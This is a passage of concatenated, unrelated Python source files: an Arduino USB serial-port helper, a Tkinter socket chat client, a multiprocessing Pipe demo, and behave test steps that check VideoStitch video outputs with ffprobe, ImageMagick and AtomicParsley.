"}": char = arduino.read(1) char = char.decode("ascii") if reserved_arduino != None: (name, _) = reserved_arduino if name == hardware_id: raise Exception("Port is reserved for code upload; aborting read.") data += char # Remove the last newline and any space before the data. data = data.strip() return data """ # Currently, this doesn't work. # Reset all USB ports; if an arduino is connected during the pi's bootup, # we won't be able to talk to it for some reason. def reset_all_usb_ports(): for port in get_all_usb_ports(): try: reset_usb_port(port) print("Successfully reset port " + port.getPath() + " named \"" + port.getName() + "\".") except Exception as err: print("Failed to read from port " + port.getPath() + " named \"" + port.getName() + "\":") print(err) # Reboot any attached USB device. portObj is a UsbPort object. def reset_usb_port(portObj): # This is the ID of a command for the linux kernel. USBDEVFS_RESET = 21780 # Open the USB port. with os.open(portObj.getPath(), os.O_WRONLY) as port: # Try to reset the USB port. try: fcntl.ioctl(port, USBDEVFS_RESET, 0) except OSError as err: message = "Error while attempting to reset USB port \"%s\" with ID \"%s\"" % (portObj.getPath(), portObj.getId()) raise Exception(message) """ # This wonderful magic is from https://stackoverflow.com/a/8265634 # Variable names have been modified to make more sense. # # We don't use pyserial's serial.tools.list_ports function, because that includes # all serial ports, not just USB ones. # # This returns an array of UsbPort objects. def get_all_usb_ports(): # All usb tty devices are listed in /sys/bus/usb-serial/devices. # We will assume that they are all arduinos. #tty_list = os.listdir("/sys/bus/usb-serial/devices") # TODO: This is a hack. # These are non-mega ones: tty_list = [] for i in range(0, 10): tty_list.append("/dev/ttyUSB" + str(i)) # And these are mega ones: for i in range(0, 10): tty_list.append("/dev/ttyACM" + str(i)) ports = [] for name in tty_list: if os.path.exists(name): port = UsbPort(name) ports.append(port) else: ports.append(UsbPort("")) return ports """ # Parse each line of the output. ports = [] for line in lsusb_text.split('\n'): # Match the regex against the line. if line: line_match = usb_regex.match(line) # Check that the line matched. if line_match: # Make a UsbPort object and save it. port_info = line_match.groupdict() port = UsbPort(port_info["bus"], port_info["device"], port_info["id"], port_info["tag"]) ports.append(port) else: # This should never happen; lsusb output something weird. message = "Error: Unexpected output from lsusb: \"%s\"" % line raise Exception(message) return ports""" # TODO: Document this. # See https://sites.google.com/site/itmyshare/system-admin-tips-and-tools/udevadm---useage-examples def get_serial_id(port): assert(isinstance(port, UsbPort)) name = port.getPath().split('/')[2] usb_props = subprocess.check_output(["udevadm", "info", "--query=property", "--name=%s" % name]).decode() id_regex = re.compile("ID_SERIAL=(?P<id_str>.*)", re.I) for line in usb_props.split('\n'): if line: line_match = id_regex.match(line) if line_match: return line_match.group("id_str") return None # A container for info about usb ports. # Note that ID strings are unique, and stay constant between unplugging, reboot, etc. class UsbPort: def __init__(self, path): assert(isinstance(path, str)) self.path = path if path == "": self.is_device = False else: self.is_device = True self.id_string = get_serial_id(self) """def __init__(self, bus_number, device_number, vin_pin_str, name): self.bus_number = bus_number self.device_number = device_number self.name = name # The VIN and PIN uniquely identify the type of Arduino board is plugged in. # See https://github.com/arduino/Arduino/blob/1.6.1/hardware/arduino/avr/boards.txt vin_pin = vin_pin_str.split(':') self.vin = vin_pin[0] self.pin = vin_pin[1] # Try to get an id number if self.hasDevice(): self.id_string = get_serial_id(self) else: self.id_string = None""" # This returns the path to the port file. """def getPath(self): return "/dev/bus/usb/%s/%s" % (self.bus_number, self.device_number) """ def getPath(self): return self.path def getId(self): return self.id_string def getName(self): return self.name # This returns true if there is something connected to this USB port. def hasDevice(self): # If there is nothing connected to the port, the ID is 0. # Note: a device is allowed to have an empty name string; don't use that # to check if there's a device connected! #return self.vin == "0000" and self.pin == "0000" return self.is_device # TODO: Document this. class ArduinoWorker: # Note: this cannot be given the port object, because that is being used by the thread_obj thread. def __init__(self, id_string, thread_obj): assert(isinstance(id_string, str)) assert(isinstance(thread_obj, Thread)) self.id_string = id_string self.thread_obj = thread_obj def getThread(self): return self.thread_obj def getId(self): return self.id_string class SensorReading: def __init__(self, time, data, id_string): assert(isinstance(time, datetime.datetime)) assert(isinstance(id_string, str)) self.time = time self.data = data self.id_string = id_string def getTime(self): return self.time def getData(self): return self.data def getId(self): return self.id_string
client.py
# -*- coding: utf-8 -*- # @Author: TD21forever # @Date: 2019-12-07 15:08:19 # @Last Modified by: TD21forever # @Last Modified time: 2019-12-07 15:08:20 #!/usr/bin/env python3 """Script for Tkinter GUI chat client.""" from socket import AF_INET, socket, SOCK_STREAM from threading import Thread import tkinter def receive(): """Handles receiving of messages.""" while True: try: msg = client_socket.recv(BUFSIZ).decode("utf8") msg_list.insert(tkinter.END, msg) except OSError: # Possibly client has left the chat. break def send(event=None): # event is passed by binders. """Handles sending of messages.""" msg = my_msg.get() my_msg.set("") # Clears input field. client_socket.send(bytes(msg, "utf8")) if msg == "{quit}": client_socket.close() top.quit() def on_closing(event=None): """This function is to be called when the window is closed.""" my_msg.set("{quit}") send() top = tkinter.Tk() top.title("Chatter") messages_frame = tkinter.Frame(top) my_msg = tkinter.StringVar() # For the messages to be sent. my_msg.set("Type your messages here.") scrollbar = tkinter.Scrollbar(messages_frame) # To navigate through past messages. # Following will contain the messages. msg_list = tkinter.Listbox(messages_frame, height=15, width=50, yscrollcommand=scrollbar.set) scrollbar.pack(side=tkinter.RIGHT, fill=tkinter.Y) msg_list.pack(side=tkinter.LEFT, fill=tkinter.BOTH) msg_list.pack() messages_frame.pack() entry_field = tkinter.Entry(top, textvariable=my_msg) entry_field.bind("<Return>", send) entry_field.pack() send_button = tkinter.Button(top, text="Send", command=send) send_button.pack() top.protocol("WM_DELETE_WINDOW", on_closing) #----Now comes the sockets part---- HOST = input('Enter host: ') PORT = input('Enter port: ') if not PORT: PORT = 8888 else: PORT = int(PORT) BUFSIZ = 1024 ADDR = (HOST, PORT) client_socket = socket(AF_INET, SOCK_STREAM) client_socket.connect(ADDR) receive_thread = Thread(target=receive) receive_thread.start() tkinter.mainloop() # Starts GUI execution.
Pipe_test.py
# coding: utf-8 ######################################################################### # 网站: <a href="http://www.crazyit.org">疯狂Java联盟</a> # # author yeeku.H.lee kongyeeku@163.com # # # # version 1.0 # # # # Copyright (C), 2001-2018, yeeku.H.Lee # # # # This program is protected by copyright laws. # # # # Program Name: # # # # <br>Date: # ######################################################################### import multiprocessing def f(conn): print('(%s) 进程开始发送数据...' % multiprocessing.current_process().pid) # 使用conn发送数据 conn.send('Python') if __name__ == '__main__': # 创建Pipe,该函数返回两个PipeConnection对象 parent_conn, child_conn = multiprocessing.Pipe() # 创建子进程 p = multiprocessing.Process(target=f, args=(child_conn, )) # 启动子进程 p.start() print('(%s) 进程开始接收数据...' % multiprocessing.current_process().pid) # 通过conn读取数据 print(parent_conn.recv()) # Python p.join()
steps_base.py
import json import os from os import path as osp from random import choice import re import shutil from subprocess import PIPE, Popen, check_call, check_output import time import threading import urllib2 import sys from behave import given, when, then # pylint: disable=E0611 from pyvs import helpers from pyvs.helpers import LONG_FFPROBESIZE from pyvs.vsperf import ASSETS from pyvs.vsfiles import remove_if_exist, extend_path if ASSETS is None: raise Exception("env variable VIDEOSTITCH_ASSETS is not set") ALGO_FILE = osp.join(ASSETS, "algo.json") EXPOSURE_OUTPUT = osp.join(ASSETS, "videoformat01", "res.ptv") RTMP_INPUT_PTV = osp.join(ASSETS, "rtmp", "rtmp_input.ptv") INTERNAL_RTMP_SERVER = "10.0.0.175" if sys.platform == "win32": # name conflict with system tool, # see e.g. https://savage.net.au/ImageMagick/html/install-convert.html IMAGEMAGICK_CONVERT = "im-convert" else: IMAGEMAGICK_CONVERT = "convert" # Utils {{{ def normalize(path): return osp.join(ASSETS, path) def remove_output_file(path): try: os.remove(path) except OSError: raise Exception("the output file {} does not exist".format(path)) def check_json(path): with open(path, 'r') as f: data = f.read() try: json.loads(data) except ValueError: return False return True def json_file_to_dict(path, ndigits=None): def fcn(x): return round(float(x), int(ndigits)) with open(path, 'r') as f: data = f.read() if ndigits: return json.loads(data, parse_float=fcn) else: return json.loads(data) def integrity_check(path): try: proc = Popen(["avprobe", path], stdout=PIPE, stderr=PIPE, ) except OSError: raise Exception("avprobe is not in your PATH") return proc.communicate(), proc.returncode def alignment_check(path): try: proc = Popen(["ffprobe", "-of", "json", "-show_streams", "-count_frames", path], stdout=PIPE, stderr=PIPE, ) except OSError: raise Exception("ffprobe is not in your PATH") return proc.communicate(), proc.returncode def atomic_check(path): try: proc = Popen(["AtomicParsley", path, "-T"], stdout=PIPE, stderr=PIPE, ) except OSError: raise Exception("AtomicParsley is not in your PATH") return proc.communicate(), proc.returncode #}}} # Given {{{ @given('I use {file_name:S} for synchronization') @given('I use {file_name:S} for exposure') @given('I use {file_name:S} for photometric calibration') @given('I use {file_name:S} for calibration presets maker') @given('I use {file_name:S} for calibration presets application') @given('I use {file_name:S} for calibration deshuffling') @given('I use {file_name:S} for epipolar') @given('I use {file_name:S} for calibration') @given('I use {file_name:S} for scoring') @given('I use {file_name:S} for mask') @given('I use {file_name:S} for autocrop') def given_exposure(ctx, file_name): shutil.copy(osp.join(ctx.utils, file_name), ALGO_FILE) @when('I start the RTMP flow') @given('There is an RTMP flow') def given_rtmp_started(ctx): rtmp_tpl = osp.join(ctx.utils, "assets_ptv", "rtmp", "rtmp.tpl") # generate a PTV with the correct address with open(rtmp_tpl, "r") as f: text = f.read() text = text.replace("##ADDRESS##", "rtmp://{}:1935/live/{}".format( INTERNAL_RTMP_SERVER, ctx.mac)) with open(RTMP_INPUT_PTV, "w") as f: f.write(text) args = [ "-i", RTMP_INPUT_PTV, "-p", ctx.vahplugins, "-f", "0", "-l", "999", ] cmd = osp.join(ctx.studio, "videostitch-cmd") # Fork a videostitch-cmd in the background proc = Popen([cmd] + args) ctx.rtmp_flow = threading.Thread(target=proc.communicate) ctx.rtmp_flow.start() time.sleep(5) @given('I generated {ptv:S} with {tpl:S}') def given_generate_ptv(ctx, ptv, tpl): tpl = osp.join(ctx.utils, "assets_ptv", tpl) ptv = osp.join(ctx.data, ptv) with open(tpl, "r") as f: text = f.read() text = text.replace("##ADDRESS##", "rtmp://{}:1935/live/{}".format( INTERNAL_RTMP_SERVER, ctx.mac)) with open(ptv, "w") as f: f.write(text) # }}} # When {{{ def when_launch_control_cmd(ctx, control, tool, ptv, args, generated=False, from_repo=False): if from_repo: destination = osp.join(ctx.utils, "assets_ptv", ptv) else: destination = osp.join(ASSETS, ptv) if tool in ["videostitch-cmd", "undistort", "depth"]: try: shutil.copy(osp.join(ctx.utils, "assets_ptv", ptv), destination) except IOError: if not generated: raise cmd = [ osp.join(ctx.studio, tool), "-i", destination, "-p", ctx.plugins, "-p", ctx.vahplugins, ] + args.split() if control is not None: cmd = control.split() + cmd if ctx.plugins_gpu is not None: cmd += ["-p", ctx.plugins_gpu] try: proc = Popen(cmd, stdout=PIPE, stderr=PIPE) except OSError: raise Exception("{} not installed in {}".format(tool, ctx.studio)) ctx.cmd = " ".join(cmd) ctx.cmd_output = proc.communicate() print(cmd) print(ctx.cmd_output) ctx.res = proc.returncode os.remove(destination) @when('I launch {tool:S} with {ptv:S} and "{args}"') def when_launch_cmd(ctx, tool, ptv, args, generated=False, from_repo=False): when_launch_control_cmd(ctx, None, tool, ptv, args, generated, from_repo) @when('I launch {tool:S} with {ptv:S} and "{args}" in the background') def when_launch_cmd_background(ctx, tool, ptv, args, from_repo=True): ctx.cmd_background = threading.Thread( target=when_launch_cmd, args=(ctx, tool, ptv, args, False, from_repo) ) ctx.cmd_background.start() def when_launch_control_cmd_background(ctx, control, tool, ptv, args, from_repo=True): ctx.cmd_background = threading.Thread(target=when_launch_control_cmd, args=(ctx, control, tool, ptv, args, False, from_repo)) ctx.cmd_background.start() @when('I launch videostitch-cmd with generated {ptv:S} and "{args}"') def when_launch_cmd_generated(ctx, ptv, args): when_launch_cmd(ctx, "videostitch-cmd", ptv, args, generated=True) @when('I launch videostitch-cmd with {ptv:S} from repo and "{args}"') def when_launch_cmd_repo(ctx, ptv, args): when_launch_cmd(ctx, "videostitch-cmd", ptv, args, from_repo=True) @when('I launch {tool:S} for calibration with {ptv:S} and "{args}"') @when('I launch {tool:S} for synchronization with {ptv:S}') @when('I launch {tool:S} for exposure with {ptv:S}') @when('I launch {tool:S} for synchronization with {ptv:S} and "{args}"') @when('I launch {tool:S} for exposure with {ptv:S} and "{args}"') @when('I launch {tool:S} for photometric calibration with {ptv:S} and "{args}"') @when('I launch {tool:S} for calibration presets maker with {ptv:S} and "{args}"') @when('I launch {tool:S} for calibration presets application with {ptv:S} and "{args}"') @when('I launch {tool:S} for calibration deshuffling with {ptv:S} and "{args}"') @when('I launch {tool:S} for epipolar with {ptv:S} and "{args}"') @when('I launch {tool:S} for scoring with {ptv:S} and "{args}"') @when('I launch {tool:S} for mask with {ptv:S} and "{args}"') @when('I launch {tool:S} for autocrop with {ptv:S} and "{args}"') def when_launch_algo(ctx, tool, ptv, args=""): args += "--apply_algos {} ".format(ALGO_FILE) when_launch_cmd(ctx, tool, ptv, args) os.remove(ALGO_FILE) @when('I launch {tool:S} without arguments') def when_launch_empty_cmd(ctx, tool): try: proc = Popen( [osp.join(osp.join(ctx.studio, tool))], stdout=PIPE, stderr=PIPE, ) except OSError: raise Exception("{} not installed in {}".format(tool, ctx.studio)) ctx.output = proc.communicate() ctx.res = proc.returncode @when('I launch videostitch-cmd with "{args}"') def when_launch_cmd_without_ptv(ctx, args): cmd = [ osp.join(osp.join(ctx.studio, "videostitch-cmd")), "-i", " ", "-p", ctx.plugins, ] + args.split() ctx.start_time = time.time() if ctx.plugins_gpu is not None: cmd += ["-p", ctx.plugins_gpu] try: proc = Popen(cmd, stdout=PIPE, stderr=PIPE) except OSError: raise Exception("videostitch-cmd not installed in {}".format( ctx.studio)) ctx.cmd = " ".join(cmd) ctx.cmd_output = proc.communicate() print(cmd) print(ctx.cmd_output) ctx.res = proc.returncode def gen_ptv_with_param(template, name, value): reg = '(\\[{}\\])'.format(name) p = re.compile(reg) ptv_gen = p.sub(value, template) return ptv_gen @when('I test and check videostitch-cmd with "{audio_codec}" and "{sampling_rate}" and "{sample_format}" and "{channel_layout}" and "{audio_bitrate}"') def when_launch_and_check_audio_conf( ctx, audio_codec, sampling_rate, sample_format, channel_layout, audio_bitrate): template_ptv = osp.join(ctx.utils, "assets_ptv", "videoformat01", "template_audio_output.ptv") template = open(template_ptv,"r").read() codecs = audio_codec.split(" ") rates = sampling_rate.split(" ") formats = sample_format.split(" ") layouts = channel_layout.split(" ") bitrates = audio_bitrate.split(" ") print_str = "Test codec {} and rate {} and format {} and layout {} and bitrate {}" output = osp.join("videoformat01","output.mp4") for codec in codecs: for rate in rates: for sp_format in formats: for layout in layouts: for bitrate in bitrates: ptv_gen = gen_ptv_with_param(template, "audio_codec", '"{}"'.format(codec)) ptv_gen = gen_ptv_with_param(ptv_gen, "sampling_rate", str(rate)) ptv_gen = gen_ptv_with_param(ptv_gen, "sample_format", '"{}"'.format(sp_format)) ptv_gen = gen_ptv_with_param(ptv_gen, "audio_bitrate", str(bitrate)) ptv_gen = gen_ptv_with_param( ptv_gen, "channel_layout", '"{}"'.format(layout)) ptv_file = osp.join( ctx.utils, "assets_ptv", "videoformat01", "test_audio_output.ptv") with open(ptv_file, "w") as f: f.write(ptv_gen) ptv_relative_path = osp.join("videoformat01", "test_audio_output.ptv") when_launch_cmd(ctx, "videostitch-cmd", ptv_relative_path, "-f 0 -l 200") print(print_str.format(codec, rate, sp_format, layout, bitrate)) then_the_field_equal(ctx, output, "sampling_rate", rate) then_the_field_equal(ctx, output, "channel_layout", layout) then_the_field_equal(ctx, output, "sample_format", sp_format) @when('I compare {output:S} with {ref:S}') def when_compare_picture(ctx, output, ref): ref = normalize(ref) output = normalize(output) try: proc = Popen(["compare", "-metric", "MAE", ref, output, osp.join(ctx.data, "null"), ], stdout=PIPE, stderr=PIPE, ) except OSError: raise Exception("compare is not in your PATH") ctx.output = proc.communicate()[1] ctx.res = proc.returncode ctx.pictures.append([output, ref]) @when('I replace transparency with a red background in {output:S}') def when_compare_picture(ctx, output): output = normalize(output) try: proc = Popen([IMAGEMAGICK_CONVERT, "-background", "red", "-alpha", "remove", output, output ], stdout=PIPE, stderr=PIPE, ) except OSError: raise Exception(IMAGEMAGICK_CONVERT + " is not in your PATH. Expecting convert.exe to be renamed to im-convert.exe on Windows.") ctx.output = proc.communicate()[1] ctx.res = proc.returncode @when('I analyze score of {output:S}') def when_analyze_score(ctx, output): output = osp.join(ASSETS, output) with open(output, 'r') as f: data = f.read() try: data = json.loads(data) except ValueError: assert 0, "the ouput ptv is invalid" if "score" not in data[0]: assert 0, "no score in ptv" ctx.output= data[0]["score"] @when('I analyze uncovered_ratio of {output:S}') def when_analyze_uncovered_ratio(ctx, output): output = osp.join(ASSETS, output) with open(output, 'r') as f: data = f.read() try: data = json.loads(data) except ValueError: assert 0, "the ouput ptv is invalid" if "uncovered_ratio" not in data[0]: assert 0, "no score in ptv" ctx.output= data[0]["uncovered_ratio"] @when('I check {output:S} integrity with avprobe') def when_check_avprobe(ctx, output): """This removes the output file after""" output = normalize(output) ctx.output, ctx.res = integrity_check(output) remove_output_file(output) @when('I check files {wildcard:S} integrity with avprobe') def when_check_multiple_avprobe(ctx, wildcard): """This removes the output file after""" wildcard = normalize(wildcard) ctx.output = [] ctx.res = [] for path in extend_path(wildcard): r1, r2 = integrity_check(path) ctx.output.append(r1) ctx.res.append(r2) remove_output_file(path) @when('I check files {output:S} {fformat:S} streams alignment with avprobe') def when_check_alignment_avprobe(ctx, output, fformat): wildcard = normalize("{}-*.{}".format(output,fformat)) for i in xrange(len(extend_path(wildcard))-2): path = normalize("{}-{}.{}".format(output,i+1,fformat)) assert osp.isfile(path), "the file {} does not exist".format(path) r1, _ = alignment_check(path) joutput = json.loads(r1[0]) start0 = float(joutput['streams'][0]['start_time']) start1 = float(joutput['streams'][1]['start_time']) duration0 = float(joutput['streams'][0]['duration']) duration1 = float(joutput['streams'][1]['duration']) print_str = "the file {} streams start_time are not aligned: {} <> {}" assert abs(start0 - start1) < 0.03, print_str.format(path, start0, start1) print_str = "the file {} streams duration are not aligned: {} <> {}" assert abs(duration0 - duration1 + start0 - start1) < 0.05,\ print_str.format(path, duration0 + start0, duration1 + start1) print_str = "the file {} did not decode the expected number of frames for stream {} : {} <> {}" for k in xrange(len(joutput['streams'])): stream =joutput['streams'][k] nb_frames = stream['nb_frames'] nb_read_frames = stream['nb_read_frames'] assert nb_frames == nb_read_frames, print_str.format( path, k, nb_frames, nb_read_frames) @when('I rename {inputf} to {outputf}') def when_rename_file(ctx, inputf, outputf): remove_if_exist(normalize(outputf)) os.rename(normalize(inputf), normalize(outputf)) @when('I launch autocrop-cmd with input {input_picture:S} and output {output:S}') def when_launch_autocrop_cmd(ctx, input_picture, output): cmd = [ osp.join(osp.join(ctx.studio, "autocrop-cmd")), "-i", osp.join(ASSETS, input_picture), "-o", osp.join(ASSETS, output), "-d" ] try: proc = Popen(cmd, stdout=PIPE, stderr=PIPE) except OSError: raise Exception("autocrop-cmd not installed in {}".format(ctx.studio)) ctx.cmd = " ".join(cmd) ctx.cmd_output = proc.communicate() ctx.res = proc.returncode @when('I wait the RTMP flow to stop') def when_stop_rtmp_flow(ctx): ctx.rtmp_flow.join() ctx.rtmp_flow = None @when('I compare video {generated:S} to {ref:S}') def when_compare_video(ctx, generated, ref): generated = osp.join(ASSETS, generated) ref = osp.join(ASSETS, ref) ctx.log = "psnr.log" cmd = [ "ffmpeg", "-i", generated, "-i", ref, "-lavfi", "psnr='stats_file={}'".format(ctx.log), "-f", "null", "-", ] check_call(cmd, stdout=PIPE, stderr=PIPE) # }}} # Then {{{ @then('I expect the command to {res:S}') def cmd_should_have_res(ctx, res): if res == "fail": assert ctx.res, "the command should have failed:\n{}\n{}".format( ctx.cmd_output, ctx.cmd) elif res == "succeed": print_str = "the command should have succeeded (returned {}):\n{}\n{}" assert not ctx.res, print_str.format(ctx.res, ctx.cmd_output, ctx.cmd) else: raise Exception("Wrong usage of step") @then('I expect the command to {res:S} and {stdx:S} contains "{keyword}"') def the_cmd_should_have_res_keyword(ctx, res, stdx, keyword): if stdx == "stdout": stdx = 0 elif stdx == "stderr": stdx = 1 else: raise Exception("Wrong usage of step") if res == "fail": assert ctx.res, "the command should have failed:\n{}\n{}".format( ctx.cmd_output, ctx.cmd) elif res == "succeed": assert not ctx.res,\ "the command should have succeeded:\n{}\n{}".format( ctx.cmd_output, ctx.cmd) else: raise Exception("Wrong usage of step") assert keyword in ctx.cmd_output[stdx],\ "the captured stdout does not contain keyword: {}".format(keyword) @then('I expect the command to fail with code {code:d}') def cmd_should_have_code(ctx, code): assert ctx.res == code, "not the expected exit code expected " +\ "{}, received {}".format(code, ctx.res) @then('I expect the comparison to succeed') @then('I expect the comparison error to be less than {error:f}') def then_comparison_ok(ctx, error=0.05): res = re.sub(r'.*\((.*)\)', r'\1', ctx.output) try: float(res) except ValueError: assert 0, "the comparison failed: {}\n{}\n{}".format( res, ctx.cmd, ctx.cmd_output) assert float(res) < error, "error is too big: {}".format(res) @then('mse_avg is under {error:f}') def then_video_compare(ctx, error): with open(ctx.log, "r") as f: lines = f.readlines() for line in lines: line_ok = False for word in line.split(): if "mse_avg" in word: line_ok = True rerror = word.split(":")[-1] assert float(rerror) <= error, "error is too big :{}".format( line) break assert line_ok, "parsing error : {}".format(line) remove_if_exist(ctx.log) @then('I expect the score to be more than {error:f}') def then_score_ok(ctx, error): res = ctx.output assert float(res) >= error, "error is too big: {}".format(res) @then('I expect the full coverage to be {target:S}') def check_full_coverage(ctx, target): res = ctx.output if target == "true": assert float(res) == float(0.0),\ "uncovered ratio {} is not 0, full coverage is false".format(res) elif target == "false": assert float(res) != float(0.0),\ "uncovered ratio {} is 0, full coverage is true".format(res) else: raise Exception("Wrong usage of step") @then('{wildcard:S} is a single file') def when_check_single_file(ctx, wildcard): """This DOES NOT remove the output file after""" wildcard = normalize(wildcard) assert len(extend_path(wildcard)) == 1,\ "number of video files is invalid, just one is expected : {}".format( wildcard) @then('I check {output:S} faststart with AtomicParsley') def when_check_fast_start_atomic(ctx, output): output = normalize(output) ctx.output, ctx.res = atomic_check(output) res = str(ctx.output).split("Atom ") moov = -1 mdat = -1 i = 0 for s in res: if s.startswith("moov"): moov = i if s.startswith("mdat"): mdat = i i = i + 1 assert moov > -1, "no moov Atom in output\n{}".format(ctx.output) print_str = "moov Atom {} after mdat Atom {} in output\n{}" assert moov < mdat, print_str.format(moov, mdat, ctx.output) @then('I check {output:S} Atom {atom:S} with AtomicParsley') def when_check_atomic(ctx, output, atom): output = normalize(output) ctx.output, ctx.res = atomic_check(output) res = str(ctx.output).split("Atom ") i = 0 for s in res: if s.startswith(atom): break i = i + 1 assert i != res.__len__(), "no {} atom in output \n{}".format( atom, ctx.output) @then('I check {output:S} no Atom {atom:S} with AtomicParsley') def when_check_no_atomic(ctx, output, atom): output = normalize(output) ctx.output, ctx.res = atomic_check(output) res = str(ctx.output).split("Atom ") i = 0 for s in res: if s.startswith(atom): break i = i + 1 assert i == res.__len__(), "{} atom in output \n{}".format( atom, ctx.output) @then('The video is OK') def then_video_ok(ctx): assert not ctx.res, "video is invalid : {}".format(ctx.output) @then('The videos are OK') def then_videos_ok(ctx): for i in xrange(len(ctx.res)): assert not ctx.res[i], "video is invalid : {}".format(ctx.output[i]) @then('The exposure output ptv is valid') def then_exposure_output_valid(ctx): assert check_json(EXPOSURE_OUTPUT), "the output ptv is invalid" @then('The JSON output {output_file:S} is valid') @then('The photometric output {output_file:S} is valid') def then_json_output_valid(ctx, output_file): assert_str = "the output ptv is invalid" assert check_json(osp.join(ASSETS, output_file)), assert_str @then(r'The exposure RGB score in {output:S} is less than {diffr:d}, {diffg:d}, {diffb:d}') def then_exposure_output_score(ctx, output, diffr, diffg, diffb): output = osp.join(ASSETS, output) with open(output, 'r') as f: data = f.read() remove_output_file(output) try: data = json.loads(data)[0] except ValueError: raise Exception("the ouput ptv is invalid: {}".format(data)) assert_str = "ptv doesn't contain valid exposure score: {}".format(data) assert_bool = "diff_red" in data and "diff_green" in data and\ "diff_blue" in data assert assert_bool, assert_str assert_str = "Expected red exposure score < {}, got: {}".format( diffr, data["diff_red"]) assert data["diff_red"] < int(diffr), assert_str assert_str = "Expected green exposure score < {}, got: {}".format( diffg, data["diff_green"]) assert data["diff_green"] < int(diffg), assert_str assert_str = "Expected blue exposure score < {}, got: {}".format( diffb, data["diff_blue"]) assert data["diff_blue"] < int(diffb), assert_str @then('The synchronization output "{file_name:S}" is valid') def then_synchro_output_valid(ctx, file_name): assert check_json(normalize(file_name)), "the output ptv is invalid" @then('The synchronization output "{file_name:S}" is consistent with "{ref:S}"') @then('The synchronization output "{file_name:S}" is consistent with "{ref:S}" within {nb_frame:d} frames') @then('The synchronization output "{file_name:S}" is consistent with "{ref:S}" within {nb_frame:d} frame') def then_synchro_value_correct(ctx, file_name, ref, nb_frame=10): output = json_file_to_dict(normalize(file_name)) ref = json_file_to_dict(osp.join(ctx.utils, ref)) for ref_input in ref["inputs"]: in_offset = ref_input["frame_offset"] for out_input in output["inputs"]: out_offset = out_input["frame_offset"] if ref_input["reader_config"] == out_input["reader_config"]: assert abs(in_offset - out_offset) <= nb_frame, "wrong output" break @then('The calibration cost of output "{file_name:S}" is consistent with "{ref:S}"') def the_calibration_cost_correct(ctx, file_name, ref): output = json_file_to_dict(normalize(file_name)) ref = json_file_to_dict(osp.join(ctx.utils, ref)) calibration_cost = output.get("calibration_cost") if not calibration_cost: calibration_cost = output["pano"]["calibration_cost"] calibration_cost_ref = ref.get("calibration_cost") if not calibration_cost_ref: calibration_cost_ref = ref["pano"]["calibration_cost"] assert abs(calibration_cost - calibration_cost_ref) <= 150,\ "wrong output %f <> %f" % (calibration_cost, calibration_cost_ref) @then('The translations of output "{file_name:S}" are consistent with "{ref:S}" for the first input') def the_calibration_translations_correct(ctx, file_name, ref): output = json_file_to_dict(normalize(file_name)) ref = json_file_to_dict(osp.join(ctx.utils, ref)) in_x = ref["inputs"][0]["geometries"]["translation_x"] in_y = ref["inputs"][0]["geometries"]["translation_y"] in_z = ref["inputs"][0]["geometries"]["translation_z"] out_x = output["inputs"][0]["geometries"]["translation_x"] out_y = output["inputs"][0]["geometries"]["translation_y"] out_z = output["inputs"][0]["geometries"]["translation_z"] assert_str = "wrong output {} <> {}" assert abs(in_x - out_x) <= 0.001, assert_str.format(in_x, out_x) assert abs(in_y - out_y) <= 0.001, assert_str.format(in_y, out_y) assert abs(in_z - out_z) <= 0.001, assert_str.format(in_z, out_z) @then('The file size of {output:S} is below {filesize:d} bytes') def then_check_filesize(ctx, output, filesize): for eachfile in extend_path(normalize(output)): assert os.path.getsize(eachfile) < filesize,\ "{} size {} is above {} limit".format( eachfile, os.path.getsize(eachfile), filesize) @then(r'I expect {file_name:S} is the same as {ref:S} with {ndigits:S} digits after the decimal point for float') def then_check_json_files_equal(ctx, file_name, ref, ndigits): output_json = json_file_to_dict(normalize(file_name), ndigits) ref_json = json_file_to_dict(osp.join(ctx.utils, "assets_ptv", ref), ndigits) assert output_json == ref_json, "{}\n\n\n{}".format(output_json, ref_json) remove_output_file(normalize(file_name)) @then(r'I expect the geometries of {file_name:S} are the same as {ref:S}') def then_check_json_geometries_equal(ctx, file_name, ref): output_json = json_file_to_dict(normalize(file_name)) ref_json = json_file_to_dict(osp.join(ctx.utils, "assets_ptv", ref)) ref_pano = ref_json["pano"]["inputs"] out_pano = output_json["pano"]["inputs"] for ref_input, out_input in zip(ref_pano, out_pano): ref_geo = ref_input["geometries"] out_geo = out_input["geometries"] assert ref_geo == out_geo, "{}\n\n{}".format(ref_geo, out_geo) remove_output_file(normalize(file_name)) @then(r'I expect the input readers and stack orders of {file_name:S} are the same as {ref:S}') def then_check_json_input_readers_equal(ctx, file_name, ref): output_json = json_file_to_dict(normalize(file_name)) ref_json = json_file_to_dict(osp.join(ctx.utils, "assets_ptv", ref)) ref_pano = ref_json["pano"]["inputs"] out_pano = output_json["pano"]["inputs"] for ref_input, out_input in zip(ref_pano, out_pano): ref_reader = ref_input["reader_config"] out_reader = out_input["reader_config"] ref_stack = ref_input["stack_order"] out_stack = out_input["stack_order"] assert ref_reader == out_reader, "{}\n\n{}".format( ref_reader, out_reader) assert ref_stack == out_stack, "{}\n\n{}".format(out_stack, ref_stack) remove_output_file(normalize(file_name)) @then('I check the audio bitrate of {filename:S} to be equal to {bitrate:d}') def then_the_audio_bit_rate_equal(ctx, filename, bitrate): filename = osp.join(ASSETS, filename) ffprobe_output=helpers.get_ffprobe_audio_outputs("100000", filename) assert ffprobe_output.has_key("streams") result = ffprobe_output["streams"][0]["bit_rate"] result = float(result)/1000. print("audio bitrate measured = {} kb/s different from the expected {} kb/s".format( result, bitrate)) tolerance=bitrate*0.05 assert ((bitrate-tolerance)<=result) & (result <= (bitrate+tolerance)) @then('I check the video effective_bitrate of the recorded video file for {duration:d} seconds is {bitrate:d} with precision of {precision:g}') def then_the_videofile_bit_rate_equal(ctx, duration, bitrate, precision): effective_bitrate = helpers.get_effective_bitrate( LONG_FFPROBESIZE, ctx.strem_file_path, duration) res = (1.0 - float(precision)) * int(bitrate) < int(effective_bitrate) assert res, "expected value {}, but got {}".format(bitrate, effective_bitrate) res = (1.0 + float(precision)) * int(bitrate) > int(effective_bitrate) assert res, "expected value {}, but got {}".format(bitrate, effective_bitrate) @then('I check the video effective_bitrate of the recorded video file for {duration:d} seconds is {order:S} than {bitrate:d}') def then_the_videofile_bit_rate_equal(ctx, duration, order, bitrate): effective_bitrate = helpers.get_effective_bitrate( LONG_FFPROBESIZE, ctx.strem_file_path, duration) if (str(order) == "higher"): assert int(bitrate) < int(effective_bitrate), "expected more than {}, but got {}".format(bitrate, effective_bitrate) elif(str(order) == "lower"): assert int(bitrate) > int(effective_bitrate), "expected less than {}, but got 